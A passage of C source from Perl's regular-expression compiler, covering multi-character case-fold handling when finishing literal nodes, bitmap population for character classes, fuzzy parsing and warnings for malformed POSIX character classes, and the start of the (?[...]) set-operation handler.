one that isn't at the beginning or * middle of such a fold. (Either it doesn't participate in any * folds, or appears only in the final position of all the folds it * does participate in.) A better solution with far fewer false * positives, and that would fill the nodes more completely, would * be to actually have available all the multi-character folds to * test against, and to back-off only far enough to be sure that * this node isn't ending with a partial one. <upper_parse> is set * further below (if we need to reparse the node) to include just * up through that final non-problematic character that this code * identifies, so when it is set to less than the full node, we can * skip the rest of this */ if (FOLD && p < RExC_end && upper_parse == MAX_NODE_STRING_SIZE) { PERL_UINT_FAST8_T backup_count = 0; const STRLEN full_len = len; assert(len >= MAX_NODE_STRING_SIZE); /* Here, <s> points to just beyond where we have output the * final character of the node. Look backwards through the * string until find a non- problematic character */ if (! UTF) { /* This has no multi-char folds to non-UTF characters */ if (ASCII_FOLD_RESTRICTED) { goto loopdone; } while (--s >= s0 && IS_NON_FINAL_FOLD(*s)) { backup_count++; } len = s - s0 + 1; } else { /* Point to the first byte of the final character */ s = (char *) utf8_hop_back((U8 *) s, -1, (U8 *) s0); while (s >= s0) { /* Search backwards until find a non-problematic char */ if (UTF8_IS_INVARIANT(*s)) { /* There are no ascii characters that participate * in multi-char folds under /aa. In EBCDIC, the * non-ascii invariants are all control characters, * so don't ever participate in any folds. */ if (ASCII_FOLD_RESTRICTED || ! IS_NON_FINAL_FOLD(*s)) { break; } } else if (UTF8_IS_DOWNGRADEABLE_START(*s)) { if (! IS_NON_FINAL_FOLD(EIGHT_BIT_UTF8_TO_NATIVE( *s, *(s+1)))) { break; } } else if (! _invlist_contains_cp( PL_NonFinalFold, valid_utf8_to_uvchr((U8 *) s, NULL))) { break; } /* Here, the current character is problematic in that * it does occur in the non-final position of some * fold, so try the character before it, but have to * special case the very first byte in the string, so * we don't read outside the string */ s = (s == s0) ? s -1 : (char *) utf8_hop((U8 *) s, -1); backup_count++; } /* End of loop backwards through the string */ /* If there were only problematic characters in the string, * <s> will point to before s0, in which case the length * should be 0, otherwise include the length of the * non-problematic character just found */ len = (s < s0) ? 0 : s - s0 + UTF8SKIP(s); } /* Here, have found the final character, if any, that is * non-problematic as far as ending the node without splitting * it across a potential multi-char fold. <len> contains the * number of bytes in the node up-to and including that * character, or is 0 if there is no such character, meaning * the whole node contains only problematic characters. In * this case, give up and just take the node as-is. We can't * do any better */ if (len == 0) { len = full_len; } else { /* Here, the node does contain some characters that aren't * problematic. If we didn't have to backup any, then the * final character in the node is non-problematic, and we * can take the node as-is */ if (backup_count == 0) { goto loopdone; } else if (backup_count == 1) { /* If the final character is problematic, but the * penultimate is not, back-off that last character to * later start a new node with it */ p = oldp; goto loopdone; } /* Here, the final non-problematic character is earlier * in the input than the penultimate character. What we do * is reparse from the beginning, going up only as far as * this final ok one, thus guaranteeing that the node ends * in an acceptable character. The reason we reparse is * that we know how far in the character is, but we don't * know how to correlate its position with the input parse. * An alternate implementation would be to build that * correlation as we go along during the original parse, * but that would entail extra work for every node, whereas * this code gets executed only when the string is too * large for the node, and the final two characters are * problematic, an infrequent occurrence. Yet another * possible strategy would be to save the tail of the * string, and the next time regatom is called, initialize * with that. The problem with this is that unless you * back off one more character, you won't be guaranteed * regatom will get called again, unless regbranch, * regpiece ... are also changed. If you do back off that * extra character, so that there is input guaranteed to * force calling regatom, you can't handle the case where * just the first character in the node is acceptable. I * (khw) decided to try this method which doesn't have that * pitfall; if performance issues are found, we can do a * combination of the current approach plus that one */ upper_parse = len; len = 0; s = s0; goto reparse; } } /* End of verifying node ends with an appropriate char */ loopdone: /* Jumped to when encounters something that shouldn't be in the node */ /* Free up any over-allocated space; cast is to silence bogus * warning in MS VC */ change_engine_size(pRExC_state, - (Ptrdiff_t) (initial_size - STR_SZ(len))); /* I (khw) don't know if you can get here with zero length, but the * old code handled this situation by creating a zero-length EXACT * node. Might as well be NOTHING instead */ if (len == 0) { OP(REGNODE_p(ret)) = NOTHING; } else { /* If the node type is EXACT here, check to see if it * should be EXACTL, or EXACT_ONLY8. */ if (node_type == EXACT) { if (LOC) { node_type = EXACTL; } else if (requires_utf8_target) { node_type = EXACT_ONLY8; } } else if (FOLD) { if ( UNLIKELY(has_micro_sign || has_ss) && (node_type == EXACTFU || ( node_type == EXACTF && maybe_exactfu))) { /* These two conditions are problematic in non-UTF-8 EXACTFU nodes. */ assert(! UTF); node_type = EXACTFUP; } else if (node_type == EXACTFL) { /* 'maybe_exactfu' is deliberately set above to * indicate this node type, where all code points in it * are above 255 */ if (maybe_exactfu) { node_type = EXACTFLU8; } else if (UNLIKELY( _invlist_contains_cp(PL_HasMultiCharFold, ender))) { /* A character that folds to more than one will * match multiple characters, so can't be SIMPLE. * We don't have to worry about this with EXACTFLU8 * nodes just above, as they have already been * folded (since the fold doesn't vary at run * time). Here, if the final character in the node * folds to multiple, it can't be simple. (This * only has an effect if the node has only a single * character, hence the final one, as elsewhere we * turn off simple for nodes whose length > 1 */ maybe_SIMPLE = 0; } } else if (node_type == EXACTF) { /* Means is /di */ /* If 'maybe_exactfu' is clear, then we need to stay * /di. If it is set, it means there are no code * points that match differently depending on UTF8ness * of the target string, so it can become an EXACTFU * node */ if (! maybe_exactfu) { RExC_seen_d_op = TRUE; } else if ( isALPHA_FOLD_EQ(* STRING(REGNODE_p(ret)), 's') || isALPHA_FOLD_EQ(ender, 's')) { /* But, if the node begins or ends in an 's' we * have to defer changing it into an EXACTFU, as * the node could later get joined with another one * that ends or begins with 's' creating an 'ss' * sequence which would then wrongly match the * sharp s without the target being UTF-8. We * create a special node that we resolve later when * we join nodes together */ node_type = EXACTFU_S_EDGE; } else { node_type = EXACTFU; } } if (requires_utf8_target && node_type == EXACTFU) { node_type = EXACTFU_ONLY8; } } OP(REGNODE_p(ret)) = node_type; STR_LEN(REGNODE_p(ret)) = len; RExC_emit += STR_SZ(len); /* If the node isn't a single character, it can't be SIMPLE */ if (len > (Size_t) ((UTF) ? UVCHR_SKIP(ender) : 1)) { maybe_SIMPLE = 0; } *flagp |= HASWIDTH | maybe_SIMPLE; } Set_Node_Length(REGNODE_p(ret), p - parse_start - 1); RExC_parse = p; { /* len is STRLEN which is unsigned, need to copy to signed */ IV iv = len; if (iv < 0) vFAIL("Internal disaster"); } } /* End of label 'defchar:' */ break; } /* End of giant switch on input character */ /* Position parse to next real character */ skip_to_be_ignored_text(pRExC_state, &RExC_parse, FALSE /* Don't force to /x */ ); if ( *RExC_parse == '{' && OP(REGNODE_p(ret)) != SBOL && ! regcurly(RExC_parse)) { if (RExC_strict || new_regcurly(RExC_parse, RExC_end)) { RExC_parse++; vFAIL("Unescaped left brace in regex is illegal here"); } ckWARNreg(RExC_parse + 1, "Unescaped left brace in regex is" " passed through"); } return(ret); } STATIC void S_populate_ANYOF_from_invlist(pTHX_ regnode *node, SV** invlist_ptr) { /* Uses the inversion list '*invlist_ptr' to populate the ANYOF 'node'. It * sets up the bitmap and any flags, removing those code points from the * inversion list, setting it to NULL should it become completely empty */ dVAR; PERL_ARGS_ASSERT_POPULATE_ANYOF_FROM_INVLIST; assert(PL_regkind[OP(node)] == ANYOF); /* There is no bitmap for this node type */ if (OP(node) == ANYOFH) { return; } ANYOF_BITMAP_ZERO(node); if (*invlist_ptr) { /* This gets set if we actually need to modify things */ bool change_invlist = FALSE; UV start, end; /* Start looking through *invlist_ptr */ invlist_iterinit(*invlist_ptr); while (invlist_iternext(*invlist_ptr, &start, &end)) { UV high; int i; if (end == UV_MAX && start <= NUM_ANYOF_CODE_POINTS) { ANYOF_FLAGS(node) |= ANYOF_MATCHES_ALL_ABOVE_BITMAP; } /* Quit if are above what we should change */ if (start >= NUM_ANYOF_CODE_POINTS) { break; } change_invlist = TRUE; /* Set all the bits in the range, up to the max that we are doing */ high = (end < NUM_ANYOF_CODE_POINTS - 1) ? end : NUM_ANYOF_CODE_POINTS - 1; for (i = start; i <= (int) high; i++) { if (! ANYOF_BITMAP_TEST(node, i)) { ANYOF_BITMAP_SET(node, i); } } } invlist_iterfinish(*invlist_ptr); /* Done with loop; remove any code points that are in the bitmap from * *invlist_ptr; similarly for code points above the bitmap if we have * a flag to match all of them anyways */ if (change_invlist) { _invlist_subtract(*invlist_ptr, PL_InBitmap, invlist_ptr); } if (ANYOF_FLAGS(node) & ANYOF_MATCHES_ALL_ABOVE_BITMAP) { _invlist_intersection(*invlist_ptr, PL_InBitmap, invlist_ptr); } /* If have completely emptied it, remove it completely */ if (_invlist_len(*invlist_ptr) == 0) { SvREFCNT_dec_NN(*invlist_ptr); *invlist_ptr = NULL; } } } /* Parse POSIX character classes: [[:foo:]], [[=foo=]], [[.foo.]]. Character classes ([:foo:]) can also be negated ([:^foo:]). Returns a named class id (ANYOF_XXX) if successful, -1 otherwise. Equivalence classes ([=foo=]) and composites ([.foo.]) are parsed, but trigger failures because they are currently unimplemented. */ #define POSIXCC_DONE(c) ((c) == ':') #define POSIXCC_NOTYET(c) ((c) == '=' || (c) == '.') #define POSIXCC(c) (POSIXCC_DONE(c) || POSIXCC_NOTYET(c)) #define MAYBE_POSIXCC(c) (POSIXCC(c) || (c) == '^' || (c) == ';') #define WARNING_PREFIX "Assuming NOT a POSIX class since " #define NO_BLANKS_POSIX_WARNING "no blanks are allowed in one" #define SEMI_COLON_POSIX_WARNING "a semi-colon was found instead of a colon" #define NOT_MEANT_TO_BE_A_POSIX_CLASS (OOB_NAMEDCLASS - 1) /* 'posix_warnings' and 'warn_text' are names of variables in the following * routine. q.v. */ #define ADD_POSIX_WARNING(p, text) STMT_START { \ if (posix_warnings) { \ if (! RExC_warn_text ) RExC_warn_text = \ (AV *) sv_2mortal((SV *) newAV()); \ av_push(RExC_warn_text, Perl_newSVpvf(aTHX_ \ WARNING_PREFIX \ text \ REPORT_LOCATION, \ REPORT_LOCATION_ARGS(p))); \ } \ } STMT_END #define CLEAR_POSIX_WARNINGS() \ STMT_START { \ if (posix_warnings && RExC_warn_text) \ av_clear(RExC_warn_text); \ } STMT_END #define CLEAR_POSIX_WARNINGS_AND_RETURN(ret) \ STMT_START { \ CLEAR_POSIX_WARNINGS(); \ return ret; \ } STMT_END STATIC int S_handle_possible_posix(pTHX_ RExC_state_t *pRExC_state, const char * const s, /* Where the putative posix class begins. Normally, this is one past the '['. This parameter exists so it can be somewhere besides RExC_parse. */ char ** updated_parse_ptr, /* Where to set the updated parse pointer, or NULL */ AV ** posix_warnings, /* Where to place any generated warnings, or NULL */ const bool check_only /* Don't die if error */ ) { /* This parses what the caller thinks may be one of the three POSIX * constructs: * 1) a character class, like [:blank:] * 2) a collating symbol, like [. .] * 3) an equivalence class, like [= =] * In the latter two cases, it croaks if it finds a syntactically legal * one, as these are not handled by Perl. * * The main purpose is to look for a POSIX character class. It returns: * a) the class number * if it is a completely syntactically and semantically legal class. * 'updated_parse_ptr', if not NULL, is set to point to just after the * closing ']' of the class * b) OOB_NAMEDCLASS * if it appears that one of the three POSIX constructs was meant, but * its specification was somehow defective. 'updated_parse_ptr', if * not NULL, is set to point to the character just after the end * character of the class. See below for handling of warnings. * c) NOT_MEANT_TO_BE_A_POSIX_CLASS * if it doesn't appear that a POSIX construct was intended. * 'updated_parse_ptr' is not changed. No warnings nor errors are * raised. * * In b) there may be errors or warnings generated. If 'check_only' is * TRUE, then any errors are discarded. Warnings are returned to the * caller via an AV* created into '*posix_warnings' if it is not NULL. If * instead it is NULL, warnings are suppressed. * * The reason for this function, and its complexity is that a bracketed * character class can contain just about anything. But it's easy to * mistype the very specific posix class syntax but yielding a valid * regular bracketed class, so it silently gets compiled into something * quite unintended. * * The solution adopted here maintains backward compatibility except that * it adds a warning if it looks like a posix class was intended but * improperly specified. The warning is not raised unless what is input * very closely resembles one of the 14 legal posix classes. To do this, * it uses fuzzy parsing. It calculates how many single-character edits it * would take to transform what was input into a legal posix class. Only * if that number is quite small does it think that the intention was a * posix class. Obviously these are heuristics, and there will be cases * where it errs on one side or another, and they can be tweaked as * experience informs. * * The syntax for a legal posix class is: * * qr/(?xa: \[ : \^? [[:lower:]]{4,6} : \] )/ * * What this routine considers syntactically to be an intended posix class * is this (the comments indicate some restrictions that the pattern * doesn't show): * * qr/(?x: \[? # The left bracket, possibly * # omitted * \h* # possibly followed by blanks * (?: \^ \h* )? # possibly a misplaced caret * [:;]? # The opening class character, * # possibly omitted. A typo * # semi-colon can also be used. * \h* * \^? # possibly a correctly placed * # caret, but not if there was also * # a misplaced one * \h* * .{3,15} # The class name. If there are * # deviations from the legal syntax, * # its edit distance must be close * # to a real class name in order * # for it to be considered to be * # an intended posix class. * \h* * [[:punct:]]? # The closing class character, * # possibly omitted. If not a colon * # nor semi colon, the class name * # must be even closer to a valid * # one * \h* * \]? # The right bracket, possibly * # omitted. * )/ * * In the above, \h must be ASCII-only. * * These are heuristics, and can be tweaked as field experience dictates. * There will be cases when someone didn't intend to specify a posix class * that this warns as being so. The goal is to minimize these, while * maximizing the catching of things intended to be a posix class that * aren't parsed as such. */ const char* p = s; const char * const e = RExC_end; unsigned complement = 0; /* If to complement the class */ bool found_problem = FALSE; /* Assume OK until proven otherwise */ bool has_opening_bracket = FALSE; bool has_opening_colon = FALSE; int class_number = OOB_NAMEDCLASS; /* Out-of-bounds until find valid class */ const char * possible_end = NULL; /* used for a 2nd parse pass */ const char* name_start; /* ptr to class name first char */ /* If the number of single-character typos the input name is away from a * legal name is no more than this number, it is considered to have meant * the legal name */ int max_distance = 2; /* to store the name. The size determines the maximum length before we * decide that no posix class was intended. Should be at least * sizeof("alphanumeric") */ UV input_text[15]; STATIC_ASSERT_DECL(C_ARRAY_LENGTH(input_text) >= sizeof "alphanumeric"); PERL_ARGS_ASSERT_HANDLE_POSSIBLE_POSIX; CLEAR_POSIX_WARNINGS(); if (p >= e) { return NOT_MEANT_TO_BE_A_POSIX_CLASS; } if (*(p - 1) != '[') { ADD_POSIX_WARNING(p, "it doesn't start with a '['"); found_problem = TRUE; } else { has_opening_bracket = TRUE; } /* They could be confused and think you can put spaces between the * components */ if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } /* For [. .] and [= =]. These are quite different internally from [: :], * so they are handled separately. */ if (POSIXCC_NOTYET(*p) && p < e - 3) /* 1 for the close, and 1 for the ']' and 1 for at least one char in it */ { const char open_char = *p; const char * temp_ptr = p + 1; /* These two constructs are not handled by perl, and if we find a * syntactically valid one, we croak. khw, who wrote this code, finds * this explanation of them very unclear: * http://pubs.opengroup.org/onlinepubs/009696899/basedefs/xbd_chap09.html * And searching the rest of the internet wasn't very helpful either. * It looks like just about any byte can be in these constructs, * depending on the locale. But unless the pattern is being compiled * under /l, which is very rare, Perl runs under the C or POSIX locale. * In that case, it looks like [= =] isn't allowed at all, and that * [. .] could be any single code point, but for longer strings the * constituent characters would have to be the ASCII alphabetics plus * the minus-hyphen. Any sensible locale definition would limit itself * to these. And any portable one definitely should. Trying to parse * the general case is a nightmare (see [perl #127604]). So, this code * looks only for interiors of these constructs that match: * qr/.|[-\w]{2,}/ * Using \w relaxes the apparent rules a little, without adding much * danger of mistaking something else for one of these constructs. * * [. .] in some implementations described on the internet is usable to * escape a character that otherwise is special in bracketed character * classes. For example [.].] means a literal right bracket instead of * the ending of the class * * [= =] can legitimately contain a [. .] construct, but we don't * handle this case, as that [. .] construct will later get parsed * itself and croak then. And [= =] is checked for even when not under * /l, as Perl has long done so. * * The code below relies on there being a trailing NUL, so it doesn't * have to keep checking if the parse ptr < e. */ if (temp_ptr[1] == open_char) { temp_ptr++; } else while ( temp_ptr < e && (isWORDCHAR(*temp_ptr) || *temp_ptr == '-')) { temp_ptr++; } if (*temp_ptr == open_char) { temp_ptr++; if (*temp_ptr == ']') { temp_ptr++; if (! found_problem && ! check_only) { RExC_parse = (char *) temp_ptr; vFAIL3("POSIX syntax [%c %c] is reserved for future " "extensions", open_char, open_char); } /* Here, the syntax wasn't completely valid, or else the call * is to check-only */ if (updated_parse_ptr) { *updated_parse_ptr = (char *) temp_ptr; } CLEAR_POSIX_WARNINGS_AND_RETURN(OOB_NAMEDCLASS); } } /* If we find something that started out to look like one of these * constructs, but isn't, we continue below so that it can be checked * for being a class name with a typo of '.' or '=' instead of a colon. * */ } /* Here, we think there is a possibility that a [: :] class was meant, and * we have the first real character. It could be they think the '^' comes * first */ if (*p == '^') { found_problem = TRUE; ADD_POSIX_WARNING(p + 1, "the '^' must come after the colon"); complement = 1; p++; if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } } /* But the first character should be a colon, which they could have easily * mistyped on a qwerty keyboard as a semi-colon (and which may be hard to * distinguish from a colon, so treat that as a colon). */ if (*p == ':') { p++; has_opening_colon = TRUE; } else if (*p == ';') { found_problem = TRUE; p++; ADD_POSIX_WARNING(p, SEMI_COLON_POSIX_WARNING); has_opening_colon = TRUE; } else { found_problem = TRUE; ADD_POSIX_WARNING(p, "there must be a starting ':'"); /* Consider an initial punctuation (not one of the recognized ones) to * be a left terminator */ if (*p != '^' && *p != ']' && isPUNCT(*p)) { p++; } } /* They may think that you can put spaces between the components */ if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } if (*p == '^') { /* We consider something like [^:^alnum:]] to not have been intended to * be a posix class, but XXX maybe we should */ if (complement) { CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } complement = 1; p++; } /* Again, they may think that you can put spaces between the components */ if (isBLANK(*p)) { found_problem = TRUE; do { p++; } while (p < e && isBLANK(*p)); ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } if (*p == ']') { /* XXX This ']' may be a typo, and something else was meant. But * treating it as such creates enough complications, that that * possibility isn't currently considered here. So we assume that the * ']' is what is intended, and if we've already found an initial '[', * this leaves this construct looking like [:] or [:^], which almost * certainly weren't intended to be posix classes */ if (has_opening_bracket) { CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* But this function can be called when we parse the colon for * something like qr/[alpha:]]/, so we back up to look for the * beginning */ p--; if (*p == ';') { found_problem = TRUE; ADD_POSIX_WARNING(p, SEMI_COLON_POSIX_WARNING); } else if (*p != ':') { /* XXX We are currently very restrictive here, so this code doesn't * consider the possibility that, say, /[alpha.]]/ was intended to * be a posix class. */ CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* Here we have something like 'foo:]'. There was no initial colon, * and we back up over 'foo. XXX Unlike the going forward case, we * don't handle typos of non-word chars in the middle */ has_opening_colon = FALSE; p--; while (p > RExC_start && isWORDCHAR(*p)) { p--; } p++; /* Here, we have positioned ourselves to where we think the first * character in the potential class is */ } /* Now the interior really starts. There are certain key characters that * can end the interior, or these could just be typos. To catch both * cases, we may have to do two passes. In the first pass, we keep on * going unless we come to a sequence that matches * qr/ [[:punct:]] [[:blank:]]* \] /xa * This means it takes a sequence to end the pass, so two typos in a row if * that wasn't what was intended. If the class is perfectly formed, just * this one pass is needed. We also stop if there are too many characters * being accumulated, but this number is deliberately set higher than any * real class. It is set high enough so that someone who thinks that * 'alphanumeric' is a correct name would get warned that it wasn't. * While doing the pass, we keep track of where the key characters were in * it. If we don't find an end to the class, and one of the key characters * was found, we redo the pass, but stop when we get to that character. * Thus the key character was considered a typo in the first pass, but a * terminator in the second. If two key characters are found, we stop at * the second one in the first pass. Again this can miss two typos, but * catches a single one * * In the first pass, 'possible_end' starts as NULL, and then gets set to * point to the first key character. For the second pass, it starts as -1. * */ name_start = p; parse_name: { bool has_blank = FALSE; bool has_upper = FALSE; bool has_terminating_colon = FALSE; bool has_terminating_bracket = FALSE; bool has_semi_colon = FALSE; unsigned int name_len = 0; int punct_count = 0; while (p < e) { /* Squeeze out blanks when looking up the class name below */ if (isBLANK(*p) ) { has_blank = TRUE; found_problem = TRUE; p++; continue; } /* The name will end with a punctuation */ if (isPUNCT(*p)) { const char * peek = p + 1; /* Treat any non-']' punctuation followed by a ']' (possibly * with intervening blanks) as trying to terminate the class. * ']]' is very likely to mean a class was intended (but * missing the colon), but the warning message that gets * generated shows the error position better if we exit the * loop at the bottom (eventually), so skip it here. */ if (*p != ']') { if (peek < e && isBLANK(*peek)) { has_blank = TRUE; found_problem = TRUE; do { peek++; } while (peek < e && isBLANK(*peek)); } if (peek < e && *peek == ']') { has_terminating_bracket = TRUE; if (*p == ':') { has_terminating_colon = TRUE; } else if (*p == ';') { has_semi_colon = TRUE; has_terminating_colon = TRUE; } else { found_problem = TRUE; } p = peek + 1; goto try_posix; } } /* Here we have punctuation we thought didn't end the class. * Keep track of the position of the key characters that are * more likely to have been class-enders */ if (*p == ']' || *p == '[' || *p == ':' || *p == ';') { /* Allow just one such possible class-ender not actually * ending the class. */ if (possible_end) { break; } possible_end = p; } /* If we have too many punctuation characters, no use in * keeping going */ if (++punct_count > max_distance) { break; } /* Treat the punctuation as a typo. */ input_text[name_len++] = *p; p++; } else if (isUPPER(*p)) { /* Use lowercase for lookup */ input_text[name_len++] = toLOWER(*p); has_upper = TRUE; found_problem = TRUE; p++; } else if (! UTF || UTF8_IS_INVARIANT(*p)) { input_text[name_len++] = *p; p++; } else { input_text[name_len++] = utf8_to_uvchr_buf((U8 *) p, e, NULL); p+= UTF8SKIP(p); } /* The declaration of 'input_text' is how long we allow a potential * class name to be, before saying they didn't mean a class name at * all */ if (name_len >= C_ARRAY_LENGTH(input_text)) { break; } } /* We get to here when the possible class name hasn't been properly * terminated before: * 1) we ran off the end of the pattern; or * 2) found two characters, each of which might have been intended to * be the name's terminator * 3) found so many punctuation characters in the purported name, * that the edit distance to a valid one is exceeded * 4) we decided it was more characters than anyone could have * intended to be one. */ found_problem = TRUE; /* In the final two cases, we know that looking up what we've * accumulated won't lead to a match, even a fuzzy one. */ if ( name_len >= C_ARRAY_LENGTH(input_text) || punct_count > max_distance) { /* If there was an intermediate key character that could have been * an intended end, redo the parse, but stop there */ if (possible_end && possible_end != (char *) -1) { possible_end = (char *) -1; /* Special signal value to say we've done a first pass */ p = name_start; goto parse_name; } /* Otherwise, it can't have meant to have been a class */ CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* If we ran off the end, and the final character was a punctuation * one, back up one, to look at that final one just below. Later, we * will restore the parse pointer if appropriate */ if (name_len && p == e && isPUNCT(*(p-1))) { p--; name_len--; } if (p < e && isPUNCT(*p)) { if (*p == ']') { has_terminating_bracket = TRUE; /* If this is a 2nd ']', and the first one is just below this * one, consider that to be the real terminator. This gives a * uniform and better positioning for the warning message */ if ( possible_end && possible_end != (char *) -1 && *possible_end == ']' && name_len && input_text[name_len - 1] == ']') { name_len--; p = possible_end; /* And this is actually equivalent to having done the 2nd * pass now, so set it to not try again */ possible_end = (char *) -1; } } else { if (*p == ':') { has_terminating_colon = TRUE; } else if (*p == ';') { has_semi_colon = TRUE; has_terminating_colon = TRUE; } p++; } } try_posix: /* Here, we have a class name to look up. We can short circuit the * stuff below for short names that can't possibly be meant to be a * class name. (We can do this on the first pass, as any second pass * will yield an even shorter name) */ if (name_len < 3) { CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } /* Find which class it is. Initially switch on the length of the name. * */ switch (name_len) { case 4: if (memEQs(name_start, 4, "word")) { /* this is not POSIX, this is the Perl \w */ class_number = ANYOF_WORDCHAR; } break; case 5: /* Names all of length 5: alnum alpha ascii blank cntrl digit * graph lower print punct space upper * Offset 4 gives the best switch position. */ switch (name_start[4]) { case 'a': if (memBEGINs(name_start, 5, "alph")) /* alpha */ class_number = ANYOF_ALPHA; break; case 'e': if (memBEGINs(name_start, 5, "spac")) /* space */ class_number = ANYOF_SPACE; break; case 'h': if (memBEGINs(name_start, 5, "grap")) /* graph */ class_number = ANYOF_GRAPH; break; case 'i': if (memBEGINs(name_start, 5, "asci")) /* ascii */ class_number = ANYOF_ASCII; break; case 'k': if (memBEGINs(name_start, 5, "blan")) /* blank */ class_number = ANYOF_BLANK; break; case 'l': if (memBEGINs(name_start, 5, "cntr")) /* cntrl */ class_number = ANYOF_CNTRL; break; case 'm': if (memBEGINs(name_start, 5, "alnu")) /* alnum */ class_number = ANYOF_ALPHANUMERIC; break; case 'r': if (memBEGINs(name_start, 5, "lowe")) /* lower */ class_number = (FOLD) ? ANYOF_CASED : ANYOF_LOWER; else if (memBEGINs(name_start, 5, "uppe")) /* upper */ class_number = (FOLD) ? ANYOF_CASED : ANYOF_UPPER; break; case 't': if (memBEGINs(name_start, 5, "digi")) /* digit */ class_number = ANYOF_DIGIT; else if (memBEGINs(name_start, 5, "prin")) /* print */ class_number = ANYOF_PRINT; else if (memBEGINs(name_start, 5, "punc")) /* punct */ class_number = ANYOF_PUNCT; break; } break; case 6: if (memEQs(name_start, 6, "xdigit")) class_number = ANYOF_XDIGIT; break; } /* If the name exactly matches a posix class name the class number will * here be set to it, and the input almost certainly was meant to be a * posix class, so we can skip further checking. If instead the syntax * is exactly correct, but the name isn't one of the legal ones, we * will return that as an error below. But if neither of these apply, * it could be that no posix class was intended at all, or that one * was, but there was a typo. We tease these apart by doing fuzzy * matching on the name */ if (class_number == OOB_NAMEDCLASS && found_problem) { const UV posix_names[][6] = { { 'a', 'l', 'n', 'u', 'm' }, { 'a', 'l', 'p', 'h', 'a' }, { 'a', 's', 'c', 'i', 'i' }, { 'b', 'l', 'a', 'n', 'k' }, { 'c', 'n', 't', 'r', 'l' }, { 'd', 'i', 'g', 'i', 't' }, { 'g', 'r', 'a', 'p', 'h' }, { 'l', 'o', 'w', 'e', 'r' }, { 'p', 'r', 'i', 'n', 't' }, { 'p', 'u', 'n', 'c', 't' }, { 's', 'p', 'a', 'c', 'e' }, { 'u', 'p', 'p', 'e', 'r' }, { 'w', 'o', 'r', 'd' }, { 'x', 'd', 'i', 'g', 'i', 't' } }; /* The names of the above all have added NULs to make them the same * size, so we need to also have the real lengths */ const UV posix_name_lengths[] = { sizeof("alnum") - 1, sizeof("alpha") - 1, sizeof("ascii") - 1, sizeof("blank") - 1, sizeof("cntrl") - 1, sizeof("digit") - 1, sizeof("graph") - 1, sizeof("lower") - 1, sizeof("print") - 1, sizeof("punct") - 1, sizeof("space") - 1, sizeof("upper") - 1, sizeof("word") - 1, sizeof("xdigit")- 1 }; unsigned int i; int temp_max = max_distance; /* Use a temporary, so if we reparse, we haven't changed the outer one */ /* Use a smaller max edit distance if we are missing one of the * delimiters */ if ( has_opening_bracket + has_opening_colon < 2 || has_terminating_bracket + has_terminating_colon < 2) { temp_max--; } /* See if the input name is close to a legal one */ for (i = 0; i < C_ARRAY_LENGTH(posix_names); i++) { /* Short circuit call if the lengths are too far apart to be * able to match */ if (abs( (int) (name_len - posix_name_lengths[i])) > temp_max) { continue; } if (edit_distance(input_text, posix_names[i], name_len, posix_name_lengths[i], temp_max ) > -1) { /* If it is close, it probably was intended to be a class */ goto probably_meant_to_be; } } /* Here the input name is not close enough to a valid class name * for us to consider it to be intended to be a posix class. If * we haven't already done so, and the parse found a character that * could have been terminators for the name, but which we absorbed * as typos during the first pass, repeat the parse, signalling it * to stop at that character */ if (possible_end && possible_end != (char *) -1) { possible_end = (char *) -1; p = name_start; goto parse_name; } /* Here neither pass found a close-enough class name */ CLEAR_POSIX_WARNINGS_AND_RETURN(NOT_MEANT_TO_BE_A_POSIX_CLASS); } probably_meant_to_be: /* Here we think that a posix specification was intended. Update any * parse pointer */ if (updated_parse_ptr) { *updated_parse_ptr = (char *) p; } /* If a posix class name was intended but incorrectly specified, we * output or return the warnings */ if (found_problem) { /* We set flags for these issues in the parse loop above instead of * adding them to the list of warnings, because we can parse it * twice, and we only want one warning instance */ if (has_upper) { ADD_POSIX_WARNING(p, "the name must be all lowercase letters"); } if (has_blank) { ADD_POSIX_WARNING(p, NO_BLANKS_POSIX_WARNING); } if (has_semi_colon) { ADD_POSIX_WARNING(p, SEMI_COLON_POSIX_WARNING); } else if (! has_terminating_colon) { ADD_POSIX_WARNING(p, "there is no terminating ':'"); } if (! has_terminating_bracket) { ADD_POSIX_WARNING(p, "there is no terminating ']'"); } if ( posix_warnings && RExC_warn_text && av_top_index(RExC_warn_text) > -1) { *posix_warnings = RExC_warn_text; } } else if (class_number != OOB_NAMEDCLASS) { /* If it is a known class, return the class. The class number * #defines are structured so each complement is +1 to the normal * one */ CLEAR_POSIX_WARNINGS_AND_RETURN(class_number + complement); } else if (! check_only) { /* Here, it is an unrecognized class. This is an error (unless the * call is to check only, which we've already handled above) */ const char * const complement_string = (complement) ? "^" : ""; RExC_parse = (char *) p; vFAIL3utf8f("POSIX class [:%s%" UTF8f ":] unknown", complement_string, UTF8fARG(UTF, RExC_parse - name_start - 2, name_start)); } } return OOB_NAMEDCLASS; } #undef ADD_POSIX_WARNING STATIC unsigned int S_regex_set_precedence(const U8 my_operator) { /* Returns the precedence in the (?[...]) construct of the input operator, * specified by its character representation. The precedence follows * general Perl rules, but it extends this so that ')' and ']' have (low) * precedence even though they aren't really operators */ switch (my_operator) { case '!': return 5; case '&': return 4; case '^': case '|': case '+': case '-': return 3; case ')': return 2; case ']': return 1; } NOT_REACHED; /* NOTREACHED */ return 0; /* Silence compiler warning */ } STATIC regnode_offset S_handle_regex_sets(pTHX_ RExC_state_t *pRExC_state, SV** return_invlist, I32 *flagp, U32 depth, char * const oregcomp_parse) { /* Handle the (?[...]) construct to do set operations */ U8 curchar; /* Current character being parsed */ UV start, end; /* End points of code point ranges */ SV* final = NULL; /* The end result inversion list */ SV* result_string; /* 'final' stringified */ AV* stack; /* stack of 